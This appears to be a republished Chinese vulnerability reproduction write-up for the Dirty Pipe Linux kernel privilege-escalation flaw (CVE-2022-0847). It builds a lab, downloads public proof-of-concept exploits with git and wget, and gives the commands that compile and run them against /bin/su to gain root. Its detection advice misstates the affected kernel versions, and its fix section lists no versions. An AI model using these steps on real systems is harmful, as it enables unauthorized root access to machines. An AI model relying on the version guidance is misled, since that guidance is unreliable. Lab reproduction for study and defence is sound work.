0x00 前言
CVSS 评分:7.8
影响范围:5.8
通过 CVE-2022-0847,RT 可以覆盖重写任意可读文件中的数据,从而将普通权限的用户提升到特权 root 级别。
这个漏洞被作者命名为 Dirty Pipe,之所以这样命名,是因为其原理与 Dirty Cow 相似,但 Dirty Pipe 更容易被利用。
0x01 漏洞检测
检测方法非常简单,只需执行 uname -r 命令。如果返回的内核版本为 5.8 或以下,则可能受到该漏洞的影响。

0x02 环境搭建
环境依赖:
代码语言:javascript 代码运行次数:0
git clone https://github.com/brant-ruan/metarget.git cd metarget/ pip3 install -r requirements.txt sudo ./metarget cnv install cve-2022-0847

环境搭建完成后,查看当前系统内核版本:
uname -r

可以看到系统内核版本为 5.8,说明可能受到该漏洞的影响。
0x03 漏洞复现
方法一:CVE-2022-0847-DirtyPipe-Exploit
首先,将 POC 通过 git 克隆下来:
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit cd CVE-2022-0847-DirtyPipe-Exploit
然后开始提权:
gcc exploit.c -o exploit ./exploit

在我的测试中,提示 su: must be run from a terminal,提权未成功。作者提到他的电脑电量不足,暂时没有时间解决这个问题。

方法二:dirtypipez.c
后来,p 牛提到网上其他 POC,我测试了下面的 POC,可以成功提权:
mkdir dirtypipez cd dirtypipez wget https://haxx.in/files/dirtypipez.c gcc dirtypipez.c -o dirtypipez

这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用该文件进行提权。可以使用以下命令找到这类文件:
find / -perm -u=s -type f 2>/dev/null

这里以 /bin/su 为例,直接运行 ./dirtypipez /bin/su 即可提权:
./dirtypipez /bin/su

0x04 漏洞修复
更新升级 Linux 内核到以下安全版本:
往期推荐
云安全 | 容器基础设施所面临的风险学习
云安全 | 云原生安全是什么?
一键创建隐藏账号
以上就是漏洞复现 | DirtyPipe CVE-2022-0847 Linux 内核提权漏洞复现的详细内容,更多请关注php中文网其它相关文章!
                        
                        每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
                Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号